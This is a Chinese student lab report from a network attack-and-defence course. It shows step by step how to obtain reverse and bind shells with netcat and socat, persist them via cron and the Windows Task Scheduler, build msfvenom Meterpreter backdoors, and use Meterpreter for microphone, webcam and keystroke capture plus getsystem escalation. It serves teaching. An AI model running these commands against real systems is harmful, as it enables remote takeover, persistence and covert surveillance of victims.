20222410 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
1.1 本周学习内容总结
- 后门原理:攻击者通过特定方式在软件或网络系统中留下隐藏入口或漏洞,以获取非法访问权限。
- 免杀技术:修改病毒、木马的内容改变特征码,使其躲避杀毒软件查杀,包括代码混淆、多态性等手段。
- 缓冲区溢出的shellcode技术
- RNS、NSR、RS等缓冲区溢出技术
1.2 问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
答:点击非法链接、下载盗版软件等 - 例举你知道的后门如何启动起来(win及linux)的方式?
答:在Windows系统中,后门可能通过添加到开机自动启动程序列表中、与其他程序关联启动,或伪装成正常程序被用户启动。在Linux系统中,利用cron或at等定时任务工具启动后门、利用自启动脚本启动后门、利用利用SSH隧道启动后门、利用反弹Shell启动后门等。 - Meterpreter有哪些给你映像深刻的功能?
答:能获得目标主机的图片、音频、摄像头和麦克风权限、进行截屏并获得键盘记录等 - 如何发现自己有系统有没有被安装后门?
答:1.系统用户与权限检查:检查系统中是否存在未知的用户账户,特别是那些拥有管理员权限的账户;2.安全软件扫描:利用专业的反病毒软件和安全扫描工具对系统进行全面扫描;3.网络连接监控:使用网络监控工具来查看系统的网络连接状态
1.3 实验要求
- 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程 - 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.实验过程
2.1 使用netcat获取主机操作Shell,cron启动某项任务
2.1.1 获取IP地址
因为本次实验需要演示两主机间互相连接、反弹连接、注入后门等操作,因此需要先查询主机ip地址。
Windows:打开cmd窗口,输入ipconfig
查询到本机ip地址为192.168.1.14
Linux:打开命令行窗口,输入ifconfig
查询到虚拟机IP地址为192.168.136.132
2.1.2 Windows获取Linux Shell
本实验使用的端口号均为本人学号:2410
- Windows用命令
ncat.exe -l -p 2410
监听2410端口,等待其他机器连接该端口。 - kali使用命令
nc 192.168.1.14 2410 -e /bin/sh
反弹连接Windows,提供自己的shell(192.168.1.14
为Win的IP) - Windows获得了linux的shell,可以执行linux的相关命令,例
whoami
,如图。
whoami 是一个在 Linux 和其他类 Unix 操作系统中使用的命令。它的主要功能是显示当前登录用户的用户名。
2.1.3 通过设置cron使得kali启动定时任务
用指令 crontab -e
编辑定时任务。在第一次编辑的时候,会有提示选择编辑器,选择2
,利用vim编辑器进行编辑。
点击“i”进入编辑模式,在最后一行添加 24 * * * * /bin/netcat 192.168.1.14 2410 -e /bin/sh
,意思是每小时的24分会反向连接Windows的2410端口。
按Esc键退出编辑模式,输入 :wq
保存并退出。
等待至24分后,Windows获得Linux的shell,可执行相关命令,例pwd
。
2.2 使用socat获取主机操作Shell, 任务计划启动
2.2.1 man socat
查看socat使用说明
2.2.2 在Windows下,打开计算机管理,新建任务计划
在操作选项中,选择“创建任务”,填写任务名称网络与系统攻防技术实验2
新建操作,选择启动的程序为
socat.exe,参数项填写 tcp-listen:2410 exec:cmd.exe,pty,stderr
含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上
同时新建触发器,设置在2024/10/17 11:20分触发
创建完成之后,选择创建的任务点击操作选项的“运行”,任务的状态成为“正在运行”。
在kali终端输入指令 socat - tcp:192.168.1.14:2410
,此时Linux监听中
等待预定时间2024/10/17 11:20,Windows启动任务,socat.exe运行
Linux获得Windows Shell
2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
2.3.1 生成后门
Kali命令行中输入以下命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.132 LPORT=2410 -f exe > 20222410_backdoor.exe
在Linux环境下,通过设置LHOST(Kali的IP,即Windows主动连接的反弹IP)和LPORT(回连端口),使用msfvenom工具生成一个Windows反向TCP Meterpreter有效载荷(payload)。这个有效载荷被封装成exe文件类型,并输出为“20222410_backdoor.exe”。此过程实现了从Windows系统到Kali Linux系统的反向连接后门。
2.3.2 将生成的后门传送到Windows主机上
在Windows上监听2410端口等待接收可执行文件20222410_backdoor.exe
ncat.exe -lv 2410 >20222410_backdoor.exe
在Kali上将生成的20222410_backdoor.exe传送给Windows
nc 192.168.1.14 2410 < 20222410_backdoor.exe
2.3.3 进入msf控制台进行配置
在kali上使用 msfconsole
命令,进入msf控制台。
配置监听模块
use exploit/multi/handler //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.136.132 //KaliIP,和生成后门程序时指定的IP相同
set LPORT 2410 //设置本主机的端口
输入 exploit 运行模块;在Windows上运行后门程序20222410_backdoor.exe
查看kali,发现获得了Windows主机的连接,得到了远程控制的shell,可执行相关命令,如dir
2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
2.4.1 获取目标主机音频、摄像头、击键内容等内容
获取目标主机的音频和截屏内容
record_mic //音频
screenshot //截屏
使用命令 webcam_snap
可以获取摄像头所拍摄的照片
这里我拍的是我的手机壳
在kali上输入指令 keyscan_start
,开始记录键盘记录,然后在Windows上输入一些字母,之后,再切换到kali,输入指令keyscan_dump
,就可以读取键盘记录
在Windows上新建了一个文本文档,随便输入了一串字符:Hello world
2.4.2 提权
先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权。
发现提权失败,经过反复实验,发现需要以管理员身份运行后门程序,才能提权。
以管理员身份运行20222410_backdoor.exe,然后再试一次,成功提权。
2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.136.132 LPORT=2410 -x /home/yinhao/桌面/20222410 -f elf > 20222410_pwn
生成以这个20222410文件格式为模板的shellcode文件20222410_pwn
输入指令msfconsole
,进入msf命令行
use exploit/multi/handler //进入handler模式
set payload linux/x86/meterpreter/reverse_tcp //对应生成的后门程序设置payload
show options //查看当前信息状态
set LHOST 192.168.136.132 //设置LHOST,其中ip为攻击者Linux的ip
set LPORT 2410 //设置LPORT
exploit //启动监听
打开一个新的Shell,运行后门文件20222410_pwn
,在kali中执行文件前应先加权限 chmod +x 20222410_pwn
此时攻击者Linux上已经获得了被攻击者Linux的连接,并且得到了远程控制的shell,执行ls等命令。
3.问题及解决方案
- 问题1:在使用MSF meterpreter获取击键记录等内容时,输入
getsystem
无反应
- 问题1解决方案:要以管理员身份打开后门(可执行文件)后,有了充足权限才可进行提权操作。
- 问题2:在使用socat获取主机操作Shell, 任务计划启动时,无反应
- 问题2解决方案:
一开始忘记设置触发器,后来设置了在2024/10/17的11:20运行时,成功启动。 - 问题3:一开始我不知道如何将Linux的可执行文件传输到Windows中执行
- 问题3解决方案:和同学们讨论并通过询问AI得到答案:
4.学习感悟、思考等
- 当我利用MSF Meterpreter创建后门程序,在从主机收集音频、摄像头录像以及击键记录等信息时,起初,我目睹着自己电脑上的图片、音频等私人资料被传输到Linux系统上,还觉得挺好玩。然而,随着我通过后门程序成功操控摄像头,拍摄并获取了自己照片的那一刻,我深刻体会到了网络攻击的骇人之处/在网络的暗流涌动中,个人隐私安全竟如此脆弱。
- 在本次实验中,我按照实验视频的指导一步步做着实验,仍然出现不少问题,有时和同学们讨论也没有用,大家没出现你这样的错误,便不知道如何帮你解决问题。我仔细阅读了实验指导书的内容,并参考了AI生成的一些解释和回答,给我不少启发,帮助了我解决困难。切记切记,遇到问题不能急着询问他人、要先自己思考,有自己的理解,才能更好地解决问题。